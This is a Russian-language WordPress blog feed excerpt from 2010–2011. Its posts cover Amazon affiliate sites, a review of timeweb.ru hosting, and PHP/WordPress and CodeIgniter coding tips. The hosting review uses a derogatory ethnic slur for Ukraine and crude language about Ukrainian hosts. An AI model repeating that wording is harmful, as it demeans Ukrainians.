<p>Компания Amazon &#8212;  одна из самых успешных компаний строящих  свой бизнес в Сети. В основе успеха бизнеса лежит доверие клиентов. Амазон продает товары и услуги через Сеть, и занимается этим  уже около десяти лет. Партнерская программа  Амазона предлогает  продажу их  товаров за  процент от стоимости.<br />
<span id="more-1213"></span><br />
Я сфокусируюсь на  основных  моментах  которые  стоит учесть при создании сайта под   партнерку Амазон.</p>
<p>Комисиия у амазона  небольшая, но благодаря тому что  люди доверяют Амазону  можно  обеспечить себе  неплохой пассивный доход.</p>
<p>Говорят что  конверсия тоже  небольшая , но  опять же, все  зависит от вас. Все и сразу  ни  у кого еще не получалось, тем более ва Интернете.  В основе любого упеха  лежит   упорство  и настойчивость.</p>
<p>Основными  сосотавляющими успеха  при работе  с партнеркой Амазона я считаю:</p>
<p>Простота &#8212; ненужно  зацикливаться  на навороченном дизайне сайта, наша задача продажа товара. Сделайте его  максимально  удобныйм и  легким к восприятию. Не стоит  брать готовый шаблоны. Стоит  сделать свой.</p>
<p>Ниша &#8212;  выберите  свою категорию товаров, на которую будет сделан  упор. Самым простым способом  является просмотр списка наиболее продаваемых  товаров на самом Amazon.com. </p>
<p>Ценовая категория &#8212; выберите  границу максимальной и минимальной цены  для товаров которые  будет предлогать ваш сайт.</p>
<p>Оптимизация &#8212;  напишите  качественное описание товара, не нужно  копировать с чужих  сайтов, все должно  быть по возможности уникальным, написаным просто и доходчиво. Также  необходимы ключевые  слова.Если самому тяжело то можно воспользоваться услугами  фрилансеров.<br />
Обязательно должны быть  отзывы на товар. Их  также можно посмотреть на  самом Amazon.com.<br />
Домен  желательно  чтоб содержал в названии упоминание  того  что вы предлогаете.<br />
Обязательно  стоит посмотреть ищут ли люди этот товар. Если количество  запросов по  товару менее 2500  то  особого смысла   работаьь с этим товаром нет.</p>
<p>Контроль конкурентов &#8212;  необходимо проанализировать  конкурирующие сайты  выдаче по  тематике сових товаров. С крупными ресурсами врятли есть смысл  соревноваться, особенно  если не  анмеренны вкладывать средства. Но  можно найти низкочастотники где будет минимальная конкуренци, и  ест возможность  малой кровью попасть в топ выдачи. </p>
<p>Сравнение товаров &#8212; идеальным  решением будет  возможность пользователя сравнить  товары.</p>
<p>Дождаться индексации сайта поисковиками.</p>
<p>ps: хорошим ариантом будет использование WordPress в качестве  движка для сайта, под  партнерку Amazon  для  WordPress есть довольно  много   готовый плагинов позволяющих  максимально  упростить процесс создания. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/05/sajt-dlya-zarabotka-na-partnerke-amazon/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>хостинг php mysql &#8212; timeweb.ru &#8212; больше чем хостинг</title>
		<link>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/</link>
		<comments>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/#comments</comments>
		<pubDate>Thu, 30 Dec 2010 23:41:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1181</guid>
		<description><![CDATA[Рано или поздно вставет вопрос надежного качественного хостинга для своего сайта(сайтов). Этот же вопрос встал однажды передо мной. Почитав отзывы о компаниях предоставляющих услуги хостинга в России(вообщето я смотрел не только по России а по всему СНГ) и сравних предлогаемые ими мощности я остановил свой выбор на компании http://timeweb.ru. Выбор сделал даже не я сам [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru_.jpg" alt="timeweb.ru - хостинг  php mysql" title="timeweb.ru - хостинг  php mysql" width="273" height="273" class="aligncenter size-full wp-image-1182" /></p>
<p>Рано или поздно  вставет вопрос  надежного качественного хостинга для своего сайта(сайтов). Этот же вопрос встал  однажды передо  мной. Почитав отзывы о компаниях предоставляющих  услуги хостинга в России(вообщето я смотрел не только по России а по всему СНГ) и сравних предлогаемые ими мощности я остановил свой выбор на  компании <a href="http://timeweb.ru">http://timeweb.ru</a>. Выбор  сделал даже не я сам , мне ее посоветовал знакомый.<br />
Впоследствии  выполняя заказы (я собираю сайты на WordPress) для разных заказчиков которые  размещали у хостеров я получил возможность сравнить то что у них и то чем пользуюсь я.<br />
И желания уходить от timeweb у меня нет ))<br />
Итак начнем по порядку.<br />
<span id="more-1181"></span></p>
<p><strong>Что нас ждет?</strong></p>
<p>Каждому зарегистрировавшемуся дается триал период  пользования хостингом в  течении 10 дней. Т.е.  вы не платите деньги, но имеете  возможность пользоваться  хостингом в течении 10 дней, Вам дадут домен  *.tmweb.ru  где * это   имя вашей учетной записи, так что  если вы рассчитываете  использовать гдето этот домен в своих проектах то  стоит выбирать его  (имя аккаунта)  повнимательнее , например  google.tmweb.ru ))</p>
<p><strong>Тарифы хостинга:</strong></p>
<p>в данный момент предлогают несколько <a target="_blank" href="http://timeweb.ru/services/hosting/">тарифных пакетов</a></p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb-tarif.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb-tarif-300x113.jpg" alt="timeweb тарифные планы" title="timeweb тарифные планы" width="300" height="113" class="aligncenter size-medium wp-image-1184" /></a></p>
<p>каждый тариф накладывает свои ограничения но и имеет ряд преимуществ</p>
<p>в основном это выражено в количестве сайтов которые можно  завести на тарифе и в дисковом пространстве. Основной критерий всеже дисковое пространство  выделенное аккаунту.</p>
<p>В процессе пользования услугами можно  переключать тарифные планы как в сторону удорожания так и  удешевления.</p>
<p>также есть  разрешенные нагрузки на сервер  аккаунтом </p>
<p>вот например  того как гружу я   сервер  двадцаткой  своих сайтов на WordPress (стоит плагин  кеширования)</p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-hight.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-hight-300x234.jpg" alt="timeweb.ru нагрузки" title="timeweb.ru нагрузки" width="300" height="234" class="aligncenter size-medium wp-image-1185" /></a></p>
<p>на мой взгляд оптимальным  будет <strong>Century </strong> в основном из-за того что  баз можно  создавать  столько сколько позволяет дисковое пространство. И в процессе разработки  проекта  не  встанет вопрос  завести новую базу для разработки. </p>
<p><strong>Удобства пользования</strong><br />
У большинства хостеров  предоставляется  по  умолчанию CPanel  а часть использует еще какое-нибуть убогое гавно )), в частности этим славятся  хостеры их Хохланда (Украины). В случае с  timeweb все действия по управлению своей хост площадкой будет осуществляться через  самописную  панель управления timeweb. И это таки ПАНЕЛЬ УПРАВЛЕНИЯ. Именно так большими буквами.</p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-console.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-console-300x216.jpg" alt="timeweb.ru панель управления" title="timeweb.ru панель управления" width="300" height="216" class="aligncenter size-medium wp-image-1187" /></a></p>
<p>Редко встретишь  инструмент настолько  простой и удобный.</p>
<p>Она позволяет осуществлять все необходимые операции  буквально в  два клика.<br />
Сюда входит:</p>
<p><strong>Почтовый менеджер</strong><br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-webmail.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-webmail-300x202.jpg" alt="timeweb.ru почтовый менеджер" title="timeweb.ru почтовый менеджер" width="300" height="202" class="aligncenter size-medium wp-image-1186" /></a></p>
<p><strong>Вебмейл</strong></p>
<p><strong>Управление доменами</strong><br />
Можно зарегистрировать/перенести.проблить домен<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-domain.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-domain-290x300.jpg" alt="timeweb.ru управление доменами" title="timeweb.ru управление доменами" width="290" height="300" class="aligncenter size-medium wp-image-1188" /></a></p>
<p><strong>Управление поддоменами</strong></p>
<p><strong>Управление сайтами</strong><br />
Прикрепить кдомену сайт, создать сайт удалить сайт и т.п. Создать сайт мультидомен и т.п.</p>
<p><strong>Конструкторы сайтов</strong><br />
Можно  установить готовую из предложенных  CMS для  выбранного домена и т.п. Список  CMS  включает ак коммерческие так и бесплатные, и постоянно пополняется.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-siteconstrucktor.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-siteconstrucktor-300x239.jpg" alt="timeweb.ru конструктор сайтов" title="timeweb.ru конструктор сайтов" width="300" height="239" class="aligncenter size-medium wp-image-1189" /></a></p>
<p><strong>FTP аккаунты</strong></p>
<p><strong>Файловый менеджер</strong><br />
Посредством вебинтерфейса  манипулировать файлами  на сервере.</p>
<p><strong>Базы данных MySQL</strong><br />
<strong>Управление логами</strong><br />
<strong>Панель Crontab</strong><br />
<strong>Настройки DNS</strong><br />
<strong>Управление BACKU</strong></p>
<p><strong>Оплата услуг</strong></p>
<p>YandexMoney, WebMoneyб банковские переводы, банковские карты  и т.п.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-pay.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-pay-300x211.jpg" alt="timeweb.ru оплата услуг" title="timeweb.ru оплата услуг" width="300" height="211" class="aligncenter size-medium wp-image-1190" /></a></p>
<p><strong>Движения по счёту</strong></p>
<p><strong>SMS информирование</strong></p>
<p><strong>Обратная связь</strong></p>
<p>и многое другое )</p>
<p>Все сделано просто и функционально, без излишеств.</p>
<p>Расписывать все подробно не буду, все можно посмотреть  просто зарегисрировавшись и воспрользовавшись тестовым периодом.</p>
<p><strong>Саппорт</strong></p>
<p>Техподдержка у timeweb очень шустрая, приятно с ними работать, довольно оперативно отвечают на вопросы, помогают , вежливы и тактичны в общении.</p>
<p><strong>Из минусов</strong> вроде бы  как можно сказать что  оплата, но  по сравнению с остальными хостингами,  с учетом качества и надежности ничего похожего я ненашел, прям оазис какойто. </p>
<p>Также  одно время приходилось мне следить за  тем сколько  мощностей сервера кушает аккаунт, сайты на Wp а он  прожорлив, но включенное кеширование решает  проблемму.</p>
<p>Посмотреть цены timeweb на  регистрацию доменов можно  вот тут <a target="_blank"  href="http://www.timeweb.ru/services/domain_registration/">www.timeweb.ru/services/domain_registration/</a> не скажу что они сильно  отличаются от остальных хостеров. Цены как цены.</p>
<p>Как и везде есть <a target="_blank" href="http://www.timeweb.ru/services/bonuses/">система бонусов</a> и  партнерка для вебмастеров и т.п.</p>
<p>ps: С Новым годом всех ))<br />
pss: если есть где грамматические ошибки то уж  извините,  писал поздно  спать хотелось, устал очень.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress wp_nav_menu делаем свое кастомное меню</title>
		<link>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/</link>
		<comments>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 17:15:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1169</guid>
		<description><![CDATA[В wordpress 3 появилась такая фишка как навигационно меню, многие скажут что оно им ненужно да и вообще wp_list_categories вполне себя оправдывает и большего ненужно. Но wp_list_categories по сути это список категорий постов и даже если после него вывести список страниц, то врядли это потянет на полноценное меню. Да можно воспользоваться плагинами но зачем велосипед [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1175" title="wp_nav_menu  как добавить" src="http://saintist.ru/wp-content/uploads/2010/12/wordpress-logo1-300x233.jpg" alt="wp_nav_menu  как добавить" width="300" height="233" /></p>
<p>В wordpress 3 появилась такая фишка как навигационно меню, многие скажут что оно им ненужно да и вообще wp_list_categories вполне себя оправдывает и большего ненужно. Но wp_list_categories по сути это список категорий постов и даже если после него вывести список страниц, то врядли это потянет на полноценное меню. Да можно воспользоваться плагинами но зачем велосипед изобретать когда теперь все нужное в самом WordPress. Большой плюс то что архитекруту меню можно редактировать в админке, и меню можно собирать как из категорий так и из статик страниц .Итак.<br />
<span id="more-1169"></span></p>
<p>Для того чтобы активировать wp_nav_menu в теме , необходимо в файле functions.php темы добавить строчку</p>
<pre>add_theme_support( 'menus' );</pre>
<p>таким образом добавляется поддержка в теме навигационного меню</p>
<p>в админке появится пункт вашсайт/wp-admin/nav-menus.php</p>
<p><img class="aligncenter size-medium wp-image-1170" title=" wp_nav_menu Wodpress" src="http://saintist.ru/wp-content/uploads/2010/12/wp-nav-300x178.png" alt="" width="300" height="178" /></p>
<p>зайдя в который можно в визуальном редакторе собрать навигационное меню нужной конфигурации из рубрик постов, и статик страниц.</p>
<p>Также нужно зарегистрировать области вывода меню</p>
<p>делается это так</p>
<pre>register_nav_menus(
array(
'main' =&gt; 'Главное меню'
)
);</pre>
<p>в примере мы зарегистрировали область вывода <strong>main</strong> при создании меню в админке в блоке <strong>области темы</strong> появится выпадающий список с названием Главное меню выбрав в котором нужное меню можно настроить где и что выводить.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_area.png"><img class="aligncenter size-medium wp-image-1171" title="wp_nav_menu области темы" src="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_area-300x159.png" alt="wp_nav_menu области темы" width="300" height="159" /></a></p>
<p>для вывода в шаблоне нужного меню нужно добавить в выбранном месте строчку кода</p>
<p><strong>wp_nav_menu( array(&#8216;theme_location&#8217;=&gt;&#8217;main&#8217;, &#8216;container_id&#8217; =&gt; &#8216;sidebar&#8217;,'fallback_cb&#8217; =&gt; &#187; ) );</strong></p>
<p>&#8216;theme_location&#8217;=&gt;&#8217;main&#8217; определяет какую область для меню выводить</p>
<p>можно зарегистрировать несколько областей темы для вывода меню</p>
<pre>register_nav_menus(
array(
'main' =&gt; 'Главное меню',
'footermain' =&gt; 'Нижнее меню'
)
);</pre>
<p>ps: как добавить ссылку на главную страницу</p>
<p>можно воспользоваться блоком произвольная ссылка из редактора навигационного меню</p>
<p><img class="aligncenter size-medium wp-image-1172" title="wp_nav_menu home_link ссылка на главную страницу" src="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_home_link-300x173.png" alt="wp_nav_menu home_link ссылка на главную страницу" width="300" height="173" /></p>
<p>или же воспрользовавшись хуком который нужно добавить в functions.php темы</p>
<pre>
function addNavMenuThemeLinks($menuItems, $args)
{
if('main' == $args->theme_location)
{
if ( is_home() )
{
$class = 'class="current_page_item"';
}
else
{
$class = '';
}
$homeMenuItem = '< li '.$class.' >'.$args->before.'< a href = " ' . get_bloginfo('url').'" title="Главная">'.$args->link_before.'Главная' .$args->link_after.'< /a >'.$args->after.'';
$menuItems = $homeMenuItem .$menuItems;
}
return $menuItems;
}
add_filter( 'wp_nav_menu_items', 'addNavMenuThemeLinks', 10, 2 );
</pre>
<p>pps: также через хук можно добавить в wp_nav_menu форму поиска, для этого нужно немножко модифицировать код</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Валидация email в WordPress</title>
		<link>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/</link>
		<comments>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 09:44:20 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1161</guid>
		<description><![CDATA[Очень часто при работе с WordPress бывают ситуация  когда необходимо проверить правильность введенного email, или  же   проверить зарегистрирован ли уже такой email . is_email($email) &#8212; проверка правильности email в WordPress email_exists($email) &#8212; проверка на существование email в базе]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/11/email-subscription-box1-300x240.jpg" alt="" title="email-subscription-box[1]" width="300" height="240" class="aligncenter size-medium wp-image-1165" /></p>
<p>Очень часто при работе с WordPress бывают  ситуация  когда необходимо проверить правильность введенного email, или  же   проверить зарегистрирован ли уже такой email .</p>
<p><span id="more-1161"></span><br />
is_email($email) &#8212; проверка правильности email в WordPress</p>
<p>email_exists($email) &#8212; проверка на существование  email в базе</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress is_home() работает некорректно</title>
		<link>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/</link>
		<comments>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 22:05:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1151</guid>
		<description><![CDATA[При натяжке очередной шкурки на WordPress столкнулся с проблемой, is_home() адекватно срабатывало только в header шаблона, в footer не реагировало. После детального разбора выяснил , что не работает is_home() в WordPress на страницах шаблона где для вывода использовал свои запросы. для возобновления работоспособности is_home() необходимо добавить перед is_home() строку кода &#60;?php wp_reset_query(); ?&#62; и все [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/11/wordpress-must-dos1.jpg" alt="" title="not word is_home()" width="300" height="278" class="aligncenter size-full wp-image-1152" /><br />
При натяжке очередной  шкурки на WordPress столкнулся с проблемой, is_home() адекватно  срабатывало только  в header шаблона, в footer  не реагировало.</p>
<p>После детального разбора выяснил , что<span id="more-1151"></span> не работает is_home()  в WordPress  на страницах шаблона где для вывода использовал свои запросы.</p>
<p>для возобновления работоспособности is_home() необходимо  добавить перед is_home() строку кода</p>
<p><strong>&lt;?php wp_reset_query(); ?&gt;</strong></p>
<p>и все будет работать</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/09/wordpress-is_home-rabotaet-nekorrektno/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CodeIgniter ImageConvert конвертация изображений</title>
		<link>http://saintist.ru/2010/11/08/codeigniter-imageconvert-konvertaciya-izobrazhenij/</link>
		<comments>http://saintist.ru/2010/11/08/codeigniter-imageconvert-konvertaciya-izobrazhenij/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 17:01:49 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php CodeIgniter]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1147</guid>
		<description><![CDATA[При заливке изображений на хост, зачастую появляется необходимость конвертации изображения в строго определенный тип, например в jpg или png. Стандартные средства CodeIgniter , библиотека image_lib не содержит метода необходимого нам. $this->image_lib->convert(&#8216;jpeg&#8217;) Создадим его сами. Расширение функционала родных библиотек CodeIgnitera Достаточно назвать собственный класс таким же именем, как и родной, и CodeIgniter загрузит его, вместо родного, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1148" title="CodeIgniter convert image type" src="http://saintist.ru/wp-content/uploads/2010/11/convert-photo-pencil-sketch1-300x220.jpg" alt="" width="300" height="220" /></p>
<p>При заливке  изображений на хост, зачастую появляется необходимость конвертации  изображения в строго определенный тип, например  в jpg или png.</p>
<p>Стандартные средства  CodeIgniter , библиотека image_lib не содержит метода  необходимого нам.</p>
<p><strong>$this->image_lib->convert(&#8216;jpeg&#8217;)</strong></p>
<p>Создадим его сами.<br />
<span id="more-1147"></span></p>
<p>Расширение функционала родных библиотек CodeIgnitera<br />
Достаточно назвать собственный класс таким же именем, как и родной, и CodeIgniter загрузит его, вместо родного, большинство родных классов имеют префикс CI_,   а  нам надо расширить функциональность библиотеки image_lib , добавить одну функцию, и не стоит переопределять всю библиотеку, а просто расширить ее функциональность, для этого  мы  создадим файл  в <strong>/system/application/libraries</strong> и назовем его   <strong>MY_Image_lib.php</strong>.</p>
<p>почему именно так?</p>
<p>Новое имя класса модификатора должно начинаться с префикса MY_ , можно настроить  в конфигах название префикса, открыв<br />
<strong>application/config/config.php</strong> и найти там :</p>
<p>$config['subclass_prefix'] = &#8216;MY_&#8217;;</p>
<p>Итак.</p>
<p>листинг класса модификатора  image_lib, разбор кода не буду проводить, кому нужно сам разберется.  </p>
<div id="_mcePaste"><code>&lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');</code></div>
<div id="_mcePaste"><code>class MY_Image_lib extends CI_Image_lib</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>function convert($type = 'jpg', $delete_orig = FALSE)</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>$this-&gt;full_dst_path = $this-&gt;dest_folder . end($this-&gt;explode_name($this-&gt;dest_image)) . '.' . $type;</code></div>
<div id="_mcePaste"><code>if (!($src_img = $this-&gt;image_create_gd()))</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>return FALSE;</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>if ($this-&gt;image_library == 'gd2' AND function_exists('imagecreatetruecolor'))</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>$create = 'imagecreatetruecolor';</code></div>
<div id="_mcePaste"><code>$copy = 'imagecopyresampled';</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>else</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>$create = 'imagecreate';</code></div>
<div id="_mcePaste"><code>$copy = 'imagecopyresized';</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>$dst_img = $create($this-&gt;width, $this-&gt;height);</code></div>
<div id="_mcePaste"><code>$copy($dst_img, $src_img, 0, 0, 0, 0, $this-&gt;width, $this-&gt;height, $this-&gt;width, $this-&gt;height);</code></div>
<div id="_mcePaste"><code>$types = array('gif' =&gt; 1, 'jpg' =&gt; 2, 'jpeg' =&gt; 2, 'png' =&gt; 3);</code></div>
<div id="_mcePaste"><code>$this-&gt;image_type = $types[$type];</code></div>
<div id="_mcePaste"><code>if ($delete_orig)</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>unlink($this-&gt;full_src_path);</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>if ($this-&gt;dynamic_output == TRUE)</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>$this-&gt;image_display_gd($dst_img);</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>else</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>if (!$this-&gt;image_save_gd($dst_img))</code></div>
<div id="_mcePaste"><code>{</code></div>
<div id="_mcePaste"><code>return FALSE;</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>imagedestroy($dst_img);</code></div>
<div id="_mcePaste"><code>imagedestroy($src_img);</code></div>
<div id="_mcePaste"><code>@chmod($this-&gt;full_dst_path, DIR_WRITE_MODE);</code></div>
<div id="_mcePaste"><code>return TRUE;</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>}</code></div>
<div id="_mcePaste"><code>/* End of file MY_Image_lib.php */</code></div>
<div id="_mcePaste"><code>/* Location: ./application/libraries/MY_Image_lib.php */</div>
<p>как использовать?</p>
<p>$config['image_library'] = 'gd2';<br />
$config['quality']=80;<br />
$config['source_image']	= исходный файл изображения;</p>
<p><strong>/*загружаем  библиотеку*/</strong><br />
$this->CI->load->library('image_lib');<br />
<strong>/*инициализируем конфиг*/</strong><br />
$this->CI->image_lib->initialize($config);</p>
<p><strong>/*конвертируем*/</strong><br />
$this->CI->image_lib->convert('jpg', TRUE);</p>
<p>использовать нужно именно в такой последовательности,  изображение в примере указанное  в $config['source_image'] будет конвертировано в  jpg </p>
<p>параметр TRUE  отвечает за  то нужно или нет удалить оригинал  файла  из которого  создано изображение нужного нам формата</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/08/codeigniter-imageconvert-konvertaciya-izobrazhenij/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Корректная вставка SWFObject в WordPress</title>
		<link>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/</link>
		<comments>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 15:16:12 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[swfobject]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1143</guid>
		<description><![CDATA[При  создании шкурок для WordPress  многие  используют  конструкцию подобную &#60;script type=&#187;text/javascript&#187; src=&#187;&#60;?php bloginfo(&#171;template_url&#187;); ?&#62;/js/swfobject.js&#187;&#62;&#60;/script&#62; для корректной вставки в  WordPress  библиотеки SWFObject необходимо в  header добавить две строчки кода &#60;?wp_enqueue_script(&#171;swfobject&#187;); ?&#62; &#60;?wp_head(); ?&#62;]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">При  создании шкурок для WordPress  многие  используют  конструкцию подобную</div>
<div id="_mcePaste"><strong>&lt;script type=&#187;text/javascript&#187; src=&#187;&lt;?php bloginfo(&#171;template_url&#187;); ?&gt;/js/swfobject.js&#187;&gt;&lt;/script&gt;</strong></div>
<div><strong><span id="more-1143"></span><br />
</strong></div>
<div id="_mcePaste">для корректной вставки в  WordPress  библиотеки SWFObject</div>
<div id="_mcePaste">необходимо в  header добавить две строчки кода</div>
<div id="_mcePaste"><strong>&lt;?wp_enqueue_script(&#171;swfobject&#187;); ?&gt;</strong></div>
<div id="_mcePaste"><strong>&lt;?wp_head(); ?&gt;</strong></div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/11/03/korrektnaya-vstavka-swfobject-v-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>вставка в html  flash swf и z-index</title>
		<link>http://saintist.ru/2010/10/12/vstavka-v-html-flash-swf-i-z-index/</link>
		<comments>http://saintist.ru/2010/10/12/vstavka-v-html-flash-swf-i-z-index/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 11:11:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[flash]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1138</guid>
		<description><![CDATA[При создании сайтов зачастую используют всевозможные галереи с popup окнами , и если на странице размещен flash контент в виде баннеров и т.п. то он выводится поверх всплывающих окон. Фиксится это довольно просто. необходимо выставить z-index у flash swf объекта в html пусть код для вставки flash у нас будет вот таким: &#60;div id=&#187;flash&#187;&#62; &#60;object [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/10/figure0201.gif" alt="" title="html z-index" width="302" height="219" class="aligncenter size-full wp-image-1139" /><br />
При создании сайтов зачастую  используют всевозможные  галереи с popup  окнами ,  и если  на странице размещен flash контент в виде баннеров и т.п. то он выводится поверх  всплывающих окон.<br />
Фиксится это  довольно просто.</p>
<p><span id="more-1138"></span></p>
<p><strong>необходимо выставить z-index у flash swf объекта  в html</strong></p>
<p>пусть код для вставки flash у нас будет вот таким:</p>
<div id="_mcePaste">&lt;div id=&#187;flash&#187;&gt;</div>
<div id="_mcePaste">&lt;object width=&#187;560&#8243; height=&#187;393&#8243;&gt;</div>
<div id="_mcePaste">&lt;param name=&#187;bgcolor&#187; value=&#187;#35849b&#187; /&gt;</div>
<div id="_mcePaste"><strong>&lt;param name=&#187;wmode&#187; value=&#187;opaque&#187;&gt;</strong></div>
<div id="_mcePaste">&lt;embed src=&#187;/flash/movie.swf&#187; width=&#187;560&#8243; height=&#187;393&#8243; # type=&#187;application/x-shockwave-flash&#187; pluginspage=&#187;http://www.macromedia.com/go/getflashplayer&#187; <strong>wmode=&#187;opaque&#187;</strong>&gt;&lt;/embed&gt;</div>
<div id="_mcePaste">&lt;/object&gt;</div>
<div id="_mcePaste">&lt;/div&gt;</div>
<p>жирным я выделил те параметры вставки которые необходимы для  того чтобы  flash можно было поместить под попап окно</p>
<p>также необходимо добавить стиль для контейнера в котором флеш</p>
<p>#flash{position:absolute,z-index:0}</p>
<p>вот и все</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/10/12/vstavka-v-html-flash-swf-i-z-index/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>WordPress полезные SQL запросы</title>
		<link>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/</link>
		<comments>http://saintist.ru/2010/09/30/wordpress-poleznye-sql-zaprosy/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 17:22:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1134</guid>
